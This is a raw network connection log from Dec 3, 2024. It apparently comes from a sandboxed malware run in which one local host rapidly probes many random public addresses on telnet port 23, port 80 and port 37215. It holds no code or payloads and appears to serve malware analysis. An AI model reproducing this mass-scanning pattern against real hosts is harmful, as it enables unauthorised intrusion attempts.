Dec 3, 2024 23:01:50.690617085 CET	38402	23	192.168.2.23	88.98.208.168
Dec 3, 2024 23:01:50.690617085 CET	43696	23	192.168.2.23	14.152.201.196
Dec 3, 2024 23:01:50.690618038 CET	34310	23	192.168.2.23	137.96.173.255
Dec 3, 2024 23:01:50.690628052 CET	42928	23	192.168.2.23	63.236.126.74
Dec 3, 2024 23:01:50.690629005 CET	35320	23	192.168.2.23	9.204.172.172
Dec 3, 2024 23:01:50.690634966 CET	33976	23	192.168.2.23	71.61.151.125
Dec 3, 2024 23:01:50.690639019 CET	41186	23	192.168.2.23	94.103.16.219
Dec 3, 2024 23:01:50.690645933 CET	42160	23	192.168.2.23	219.37.200.135
Dec 3, 2024 23:01:50.690648079 CET	60992	23	192.168.2.23	178.10.105.234
Dec 3, 2024 23:01:50.690654993 CET	35646	23	192.168.2.23	129.223.215.254
Dec 3, 2024 23:01:50.690654993 CET	37402	23	192.168.2.23	102.62.61.191
Dec 3, 2024 23:01:50.690660000 CET	59448	23	192.168.2.23	97.198.235.107
Dec 3, 2024 23:01:50.690665960 CET	52352	23	192.168.2.23	96.3.162.124
Dec 3, 2024 23:01:50.690665960 CET	49824	23	192.168.2.23	68.44.108.32
Dec 3, 2024 23:01:50.690670967 CET	56318	23	192.168.2.23	162.100.216.208
Dec 3, 2024 23:01:50.690670967 CET	38046	23	192.168.2.23	193.157.38.22
Dec 3, 2024 23:01:50.690675020 CET	46878	23	192.168.2.23	180.30.21.191
Dec 3, 2024 23:01:50.690675020 CET	34192	23	192.168.2.23	186.248.100.184
Dec 3, 2024 23:01:50.690675020 CET	35126	23	192.168.2.23	180.96.185.250
Dec 3, 2024 23:01:50.690676928 CET	56856	23	192.168.2.23	25.26.67.27
Dec 3, 2024 23:01:50.690677881 CET	52052	23	192.168.2.23	206.89.162.180
Dec 3, 2024 23:01:50.690684080 CET	41926	23	192.168.2.23	38.226.138.236
Dec 3, 2024 23:01:50.690684080 CET	37040	23	192.168.2.23	88.20.168.160
Dec 3, 2024 23:01:50.690689087 CET	35238	23	192.168.2.23	136.160.111.162
Dec 3, 2024 23:01:50.690691948 CET	47590	23	192.168.2.23	128.219.9.103
Dec 3, 2024 23:01:50.690697908 CET	38106	23	192.168.2.23	192.90.60.20
Dec 3, 2024 23:01:50.690702915 CET	60998	23	192.168.2.23	133.44.193.89
Dec 3, 2024 23:01:50.690706015 CET	35700	23	192.168.2.23	99.15.190.15
Dec 3, 2024 23:01:50.690713882 CET	39980	23	192.168.2.23	158.100.96.193
Dec 3, 2024 23:01:50.690713882 CET	60444	23	192.168.2.23	162.12.60.94
Dec 3, 2024 23:01:50.690716982 CET	49440	23	192.168.2.23	168.200.130.49
Dec 3, 2024 23:01:50.690723896 CET	49708	23	192.168.2.23	79.16.160.144
Dec 3, 2024 23:01:50.690726042 CET	43536	23	192.168.2.23	66.20.195.103
Dec 3, 2024 23:01:50.690732956 CET	47904	23	192.168.2.23	149.175.155.132
Dec 3, 2024 23:01:50.690733910 CET	46458	23	192.168.2.23	183.0.60.93
Dec 3, 2024 23:01:50.690733910 CET	35582	23	192.168.2.23	94.244.127.120
Dec 3, 2024 23:01:50.690733910 CET	55176	23	192.168.2.23	99.171.160.8
Dec 3, 2024 23:01:50.690742016 CET	54954	23	192.168.2.23	71.91.213.213
Dec 3, 2024 23:01:50.690748930 CET	59702	23	192.168.2.23	97.113.209.41
Dec 3, 2024 23:01:50.690748930 CET	37788	23	192.168.2.23	59.118.232.252
Dec 3, 2024 23:01:50.690749884 CET	45248	23	192.168.2.23	47.184.169.196
Dec 3, 2024 23:01:50.690749884 CET	57164	23	192.168.2.23	130.39.125.221
Dec 3, 2024 23:01:50.690757036 CET	60742	23	192.168.2.23	83.211.180.23
Dec 3, 2024 23:01:50.690757990 CET	59628	23	192.168.2.23	94.19.93.90
Dec 3, 2024 23:01:50.690762997 CET	59184	23	192.168.2.23	85.239.33.197
Dec 3, 2024 23:01:50.690764904 CET	36482	23	192.168.2.23	4.207.251.76
Dec 3, 2024 23:01:50.690768003 CET	57992	23	192.168.2.23	197.138.255.144
Dec 3, 2024 23:01:50.690768957 CET	37924	23	192.168.2.23	207.125.224.189
Dec 3, 2024 23:01:50.690778971 CET	41598	23	192.168.2.23	111.238.208.65
Dec 3, 2024 23:01:50.690789938 CET	38858	23	192.168.2.23	132.131.235.226
Dec 3, 2024 23:01:50.690789938 CET	52586	23	192.168.2.23	210.111.111.41
Dec 3, 2024 23:01:50.690789938 CET	36554	23	192.168.2.23	217.203.132.214
Dec 3, 2024 23:01:50.690793991 CET	43344	23	192.168.2.23	19.140.139.176
Dec 3, 2024 23:01:50.690793991 CET	60548	23	192.168.2.23	108.168.238.49
Dec 3, 2024 23:01:50.690794945 CET	46688	23	192.168.2.23	100.184.19.53
Dec 3, 2024 23:01:50.690793991 CET	60136	23	192.168.2.23	152.97.203.217
Dec 3, 2024 23:01:50.690794945 CET	37772	23	192.168.2.23	81.89.90.196
Dec 3, 2024 23:01:50.690797091 CET	38394	23	192.168.2.23	168.1.46.112
Dec 3, 2024 23:01:50.690797091 CET	54830	23	192.168.2.23	140.148.56.27
Dec 3, 2024 23:01:50.794162989 CET	37215	59534	197.235.235.154	192.168.2.23
Dec 3, 2024 23:01:50.794179916 CET	37215	59534	197.69.230.169	192.168.2.23
Dec 3, 2024 23:01:50.794188976 CET	37215	59534	41.29.72.16	192.168.2.23
Dec 3, 2024 23:01:50.794209003 CET	37215	59534	197.179.146.198	192.168.2.23
Dec 3, 2024 23:01:50.794219017 CET	37215	59534	156.92.88.230	192.168.2.23
Dec 3, 2024 23:01:50.794228077 CET	37215	59534	197.57.152.227	192.168.2.23
Dec 3, 2024 23:01:50.794238091 CET	37215	59534	41.51.237.63	192.168.2.23
Dec 3, 2024 23:01:50.794246912 CET	37215	59534	197.201.203.200	192.168.2.23
Dec 3, 2024 23:01:50.794255972 CET	37215	59534	156.76.37.56	192.168.2.23
Dec 3, 2024 23:01:50.794265032 CET	37215	59534	41.235.143.156	192.168.2.23
Dec 3, 2024 23:01:50.794269085 CET	59534	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:50.794270992 CET	59534	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:50.794270992 CET	59534	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:50.794272900 CET	59534	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:50.794284105 CET	59534	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:50.794286966 CET	59534	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:50.794286966 CET	59534	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:50.794289112 CET	59534	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:50.794291019 CET	59534	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:50.794291019 CET	59534	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:50.794372082 CET	37215	59534	156.146.0.173	192.168.2.23
Dec 3, 2024 23:01:50.794380903 CET	37215	59534	41.89.254.96	192.168.2.23
Dec 3, 2024 23:01:50.794389009 CET	37215	59534	156.134.142.216	192.168.2.23
Dec 3, 2024 23:01:50.794399023 CET	37215	59534	156.29.58.55	192.168.2.23
Dec 3, 2024 23:01:50.794406891 CET	37215	59534	156.180.14.86	192.168.2.23
Dec 3, 2024 23:01:50.794413090 CET	59534	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:50.794414997 CET	37215	59534	156.23.144.81	192.168.2.23
Dec 3, 2024 23:01:50.794416904 CET	59534	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:50.794420958 CET	59534	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:50.794426918 CET	37215	59534	41.29.43.123	192.168.2.23
Dec 3, 2024 23:01:50.794428110 CET	59534	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:50.794436932 CET	37215	59534	41.38.16.103	192.168.2.23
Dec 3, 2024 23:01:50.794440985 CET	59534	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:50.794445992 CET	37215	59534	156.110.162.239	192.168.2.23
Dec 3, 2024 23:01:50.794447899 CET	59534	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:50.794454098 CET	37215	59534	197.123.236.32	192.168.2.23
Dec 3, 2024 23:01:50.794461966 CET	37215	59534	197.25.2.28	192.168.2.23
Dec 3, 2024 23:01:50.794466972 CET	59534	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:50.794471025 CET	37215	59534	41.185.84.32	192.168.2.23
Dec 3, 2024 23:01:50.794471025 CET	59534	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:50.794480085 CET	37215	59534	197.220.67.112	192.168.2.23
Dec 3, 2024 23:01:50.794483900 CET	59534	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:50.794491053 CET	37215	59534	197.161.10.65	192.168.2.23
Dec 3, 2024 23:01:50.794491053 CET	59534	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:50.794492006 CET	59534	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:50.794500113 CET	37215	59534	41.155.219.178	192.168.2.23
Dec 3, 2024 23:01:50.794502974 CET	59534	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:50.794508934 CET	37215	59534	197.123.157.24	192.168.2.23
Dec 3, 2024 23:01:50.794517994 CET	37215	59534	197.95.113.211	192.168.2.23
Dec 3, 2024 23:01:50.794517040 CET	59534	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:50.794522047 CET	37215	59534	156.205.236.9	192.168.2.23
Dec 3, 2024 23:01:50.794527054 CET	37215	59534	156.75.54.186	192.168.2.23
Dec 3, 2024 23:01:50.794533968 CET	59534	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:50.794536114 CET	37215	59534	156.31.133.222	192.168.2.23
Dec 3, 2024 23:01:50.794538975 CET	59534	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:50.794538975 CET	59534	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:50.794543982 CET	59534	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:50.794545889 CET	37215	59534	41.42.112.90	192.168.2.23
Dec 3, 2024 23:01:50.794548988 CET	59534	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:50.794557095 CET	37215	59534	197.3.154.235	192.168.2.23
Dec 3, 2024 23:01:50.794562101 CET	59534	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:50.794562101 CET	59534	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:50.794568062 CET	37215	59534	197.112.141.250	192.168.2.23
Dec 3, 2024 23:01:50.794578075 CET	37215	59534	156.155.195.253	192.168.2.23
Dec 3, 2024 23:01:50.794586897 CET	59534	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:50.794586897 CET	37215	59534	156.67.96.70	192.168.2.23
Dec 3, 2024 23:01:50.794588089 CET	59534	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:50.794598103 CET	37215	59534	41.164.73.85	192.168.2.23
Dec 3, 2024 23:01:50.794601917 CET	59534	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:50.794609070 CET	37215	59534	41.56.205.34	192.168.2.23
Dec 3, 2024 23:01:50.794610977 CET	59534	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:50.794616938 CET	37215	59534	156.28.189.147	192.168.2.23
Dec 3, 2024 23:01:50.794620991 CET	59534	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:50.794625998 CET	37215	59534	197.169.178.55	192.168.2.23
Dec 3, 2024 23:01:50.794635057 CET	37215	59534	197.158.151.68	192.168.2.23
Dec 3, 2024 23:01:50.794636965 CET	59534	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:50.794642925 CET	37215	59534	41.102.141.16	192.168.2.23
Dec 3, 2024 23:01:50.794647932 CET	59534	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:50.794651985 CET	59534	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:50.794663906 CET	59534	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:50.794663906 CET	59534	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:50.794676065 CET	59534	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:50.794816017 CET	37215	59534	197.195.206.136	192.168.2.23
Dec 3, 2024 23:01:50.794825077 CET	37215	59534	197.79.233.80	192.168.2.23
Dec 3, 2024 23:01:50.794833899 CET	37215	59534	156.64.119.227	192.168.2.23
Dec 3, 2024 23:01:50.794842958 CET	37215	59534	197.59.205.72	192.168.2.23
Dec 3, 2024 23:01:50.794852018 CET	37215	59534	197.167.188.184	192.168.2.23
Dec 3, 2024 23:01:50.794858932 CET	59534	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:50.794861078 CET	37215	59534	156.44.235.16	192.168.2.23
Dec 3, 2024 23:01:50.794862032 CET	59534	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:50.794862032 CET	59534	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:50.794871092 CET	37215	59534	197.41.187.197	192.168.2.23
Dec 3, 2024 23:01:50.794871092 CET	59534	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:50.794879913 CET	59534	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:50.794879913 CET	37215	59534	197.163.246.243	192.168.2.23
Dec 3, 2024 23:01:50.794889927 CET	59534	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:50.794898987 CET	37215	59534	156.158.172.243	192.168.2.23
Dec 3, 2024 23:01:50.794898987 CET	59534	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:50.794909954 CET	37215	59534	41.182.228.106	192.168.2.23
Dec 3, 2024 23:01:50.794918060 CET	37215	59534	197.213.139.45	192.168.2.23
Dec 3, 2024 23:01:50.794918060 CET	59534	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:50.794929028 CET	37215	59534	41.128.193.69	192.168.2.23
Dec 3, 2024 23:01:50.794938087 CET	37215	59534	156.30.14.110	192.168.2.23
Dec 3, 2024 23:01:50.794939995 CET	59534	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:50.794945002 CET	59534	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:50.794948101 CET	59534	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:50.794965029 CET	59534	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:50.794965029 CET	59534	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:50.794974089 CET	37215	59534	41.237.37.216	192.168.2.23
Dec 3, 2024 23:01:50.794984102 CET	37215	59534	156.114.247.128	192.168.2.23
Dec 3, 2024 23:01:50.794991970 CET	37215	59534	41.9.223.148	192.168.2.23
Dec 3, 2024 23:01:50.795001030 CET	37215	59534	197.122.183.130	192.168.2.23
Dec 3, 2024 23:01:50.795008898 CET	37215	59534	41.8.68.180	192.168.2.23
Dec 3, 2024 23:01:50.795017958 CET	37215	59534	156.61.209.114	192.168.2.23
Dec 3, 2024 23:01:50.795022011 CET	59534	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:50.795022011 CET	59534	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:50.795023918 CET	59534	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:50.795027018 CET	37215	59534	41.186.242.231	192.168.2.23
Dec 3, 2024 23:01:50.795028925 CET	59534	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:50.795037985 CET	37215	59534	197.17.133.49	192.168.2.23
Dec 3, 2024 23:01:50.795046091 CET	59534	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:50.795046091 CET	59534	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:50.795048952 CET	37215	59534	41.153.210.0	192.168.2.23
Dec 3, 2024 23:01:50.795072079 CET	59534	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:50.795072079 CET	59534	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:50.795084953 CET	59534	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:50.795470953 CET	23	62862	195.77.6.45	192.168.2.23
Dec 3, 2024 23:01:50.795512915 CET	62862	23	192.168.2.23	195.77.6.45
Dec 3, 2024 23:01:50.814271927 CET	80	55322	151.59.53.207	192.168.2.23
Dec 3, 2024 23:01:50.814357996 CET	55322	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:50.814435959 CET	57012	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.814450979 CET	48238	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.814454079 CET	33264	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.814466000 CET	46592	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.814481020 CET	41578	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.814511061 CET	33014	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.814512014 CET	40858	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.814515114 CET	54432	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.814527035 CET	37830	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.814538956 CET	44122	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.814548016 CET	57712	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.814577103 CET	56846	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.814590931 CET	44190	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.814594984 CET	42998	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:50.814613104 CET	38670	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:50.814626932 CET	59660	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:50.814632893 CET	59542	80	192.168.2.23	205.244.238.92
Dec 3, 2024 23:01:50.814677954 CET	43232	80	192.168.2.23	164.63.62.180
Dec 3, 2024 23:01:50.814685106 CET	53688	80	192.168.2.23	50.151.21.8
Dec 3, 2024 23:01:50.814690113 CET	60278	80	192.168.2.23	123.52.192.123
Dec 3, 2024 23:01:50.814703941 CET	59156	80	192.168.2.23	82.120.56.10
Dec 3, 2024 23:01:50.814723015 CET	59862	80	192.168.2.23	111.235.227.103
Dec 3, 2024 23:01:50.814733982 CET	37200	80	192.168.2.23	198.53.211.167
Dec 3, 2024 23:01:50.814752102 CET	35854	80	192.168.2.23	81.114.132.64
Dec 3, 2024 23:01:50.814753056 CET	42460	80	192.168.2.23	146.63.138.246
Dec 3, 2024 23:01:50.814775944 CET	51932	80	192.168.2.23	64.182.50.28
Dec 3, 2024 23:01:50.814789057 CET	42816	80	192.168.2.23	73.36.157.53
Dec 3, 2024 23:01:50.814801931 CET	39438	80	192.168.2.23	68.184.62.249
Dec 3, 2024 23:01:50.814814091 CET	36418	80	192.168.2.23	208.239.12.189
Dec 3, 2024 23:01:50.814821005 CET	59076	80	192.168.2.23	177.233.205.201
Dec 3, 2024 23:01:50.814835072 CET	45350	80	192.168.2.23	143.150.243.101
Dec 3, 2024 23:01:50.814915895 CET	55322	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:50.814915895 CET	55322	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:50.814939022 CET	55394	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:50.938469887 CET	80	57012	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:50.938498020 CET	80	48238	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:50.938508987 CET	80	33264	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:50.938519001 CET	80	46592	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:50.938530922 CET	80	41578	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:50.938538074 CET	57012	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.938554049 CET	80	33014	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:50.938555002 CET	48238	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.938559055 CET	33264	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.938565969 CET	80	40858	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:50.938574076 CET	46592	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.938576937 CET	80	37830	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:50.938576937 CET	41578	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.938596964 CET	80	54432	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:50.938599110 CET	40858	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.938601017 CET	33014	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.938608885 CET	80	44122	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:50.938610077 CET	37830	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.938618898 CET	80	57712	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:50.938630104 CET	80	56846	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:50.938633919 CET	54432	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.938640118 CET	80	44190	112.16.175.41	192.168.2.23
Dec 3, 2024 23:01:50.938643932 CET	44122	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.938661098 CET	57712	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.938664913 CET	56846	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.938674927 CET	44190	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.938703060 CET	57012	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.938703060 CET	57012	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.938713074 CET	80	55322	151.59.53.207	192.168.2.23
Dec 3, 2024 23:01:50.938726902 CET	57076	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.938734055 CET	48238	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.938734055 CET	48238	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.938760042 CET	48302	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.938772917 CET	33264	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.938772917 CET	33264	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.938786030 CET	33328	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.938791037 CET	46592	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.938791037 CET	46592	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.938815117 CET	41578	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.938815117 CET	41578	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.938817024 CET	46656	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.938838959 CET	41642	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.938839912 CET	33014	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.938839912 CET	33014	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.938855886 CET	33078	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.938865900 CET	40858	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.938865900 CET	40858	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.938879967 CET	40920	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.938885927 CET	37830	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.938885927 CET	37830	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.938913107 CET	37892	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.938927889 CET	54432	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.938927889 CET	54432	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.938935995 CET	54500	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.938950062 CET	44186	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.938952923 CET	44122	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.938952923 CET	44122	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.938970089 CET	57712	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.938970089 CET	57712	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.938977003 CET	57776	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.938997984 CET	56846	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.938998938 CET	56846	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.939011097 CET	56910	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.939022064 CET	44254	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.939023018 CET	44190	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.939023018 CET	44190	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.985848904 CET	80	55322	151.59.53.207	192.168.2.23
Dec 3, 2024 23:01:51.042414904 CET	35192	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:51.063060999 CET	80	57012	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:51.063072920 CET	80	57076	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:51.063081026 CET	80	48238	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:51.063086033 CET	80	48302	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:51.063113928 CET	80	33264	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:51.063144922 CET	57076	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:51.063153982 CET	48302	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:51.063154936 CET	57076	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:51.063163042 CET	80	46592	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:51.063183069 CET	60046	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:51.063186884 CET	48302	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:51.063186884 CET	60046	80	192.168.2.23	38.96.150.180
Dec 3, 2024 23:01:51.063186884 CET	60046	80	192.168.2.23	37.30.94.170
Dec 3, 2024 23:01:51.063204050 CET	60046	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:51.063205004 CET	60046	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:51.063205004 CET	60046	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:51.063215971 CET	60046	80	192.168.2.23	165.173.127.185
Dec 3, 2024 23:01:51.063218117 CET	60046	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:51.063219070 CET	60046	80	192.168.2.23	133.245.87.115
Dec 3, 2024 23:01:51.063219070 CET	60046	80	192.168.2.23	116.80.66.91
Dec 3, 2024 23:01:51.063220978 CET	60046	80	192.168.2.23	142.22.147.27
Dec 3, 2024 23:01:51.063221931 CET	60046	80	192.168.2.23	171.211.229.250
Dec 3, 2024 23:01:51.063220978 CET	60046	80	192.168.2.23	83.193.229.218
Dec 3, 2024 23:01:51.063230038 CET	60046	80	192.168.2.23	188.121.196.87
Dec 3, 2024 23:01:51.063235998 CET	60046	80	192.168.2.23	54.34.212.242
Dec 3, 2024 23:01:51.063246012 CET	60046	80	192.168.2.23	133.235.238.193
Dec 3, 2024 23:01:51.063246012 CET	60046	80	192.168.2.23	58.103.106.232
Dec 3, 2024 23:01:51.063254118 CET	60046	80	192.168.2.23	85.4.96.222
Dec 3, 2024 23:01:51.063261032 CET	60046	80	192.168.2.23	73.21.187.112
Dec 3, 2024 23:01:51.063272953 CET	60046	80	192.168.2.23	133.184.23.4
Dec 3, 2024 23:01:51.063275099 CET	60046	80	192.168.2.23	89.22.202.145
Dec 3, 2024 23:01:51.063280106 CET	60046	80	192.168.2.23	2.65.162.150
Dec 3, 2024 23:01:51.063281059 CET	60046	80	192.168.2.23	81.240.13.248
Dec 3, 2024 23:01:51.063286066 CET	60046	80	192.168.2.23	150.38.232.45
Dec 3, 2024 23:01:51.063290119 CET	60046	80	192.168.2.23	202.59.62.176
Dec 3, 2024 23:01:51.063293934 CET	60046	80	192.168.2.23	174.13.111.235
Dec 3, 2024 23:01:51.063294888 CET	60046	80	192.168.2.23	20.155.24.125
Dec 3, 2024 23:01:51.063296080 CET	60046	80	192.168.2.23	133.91.58.129
Dec 3, 2024 23:01:51.063298941 CET	60046	80	192.168.2.23	121.50.197.23
Dec 3, 2024 23:01:51.063306093 CET	60046	80	192.168.2.23	18.58.127.165
Dec 3, 2024 23:01:51.063307047 CET	60046	80	192.168.2.23	38.60.193.189
Dec 3, 2024 23:01:51.063308001 CET	60046	80	192.168.2.23	147.24.45.198
Dec 3, 2024 23:01:51.063308001 CET	60046	80	192.168.2.23	14.33.222.90
Dec 3, 2024 23:01:51.063323021 CET	60046	80	192.168.2.23	27.213.187.69
Dec 3, 2024 23:01:51.063323021 CET	60046	80	192.168.2.23	174.146.59.129
Dec 3, 2024 23:01:51.063335896 CET	60046	80	192.168.2.23	130.79.67.45
Dec 3, 2024 23:01:51.063338041 CET	60046	80	192.168.2.23	134.5.185.217
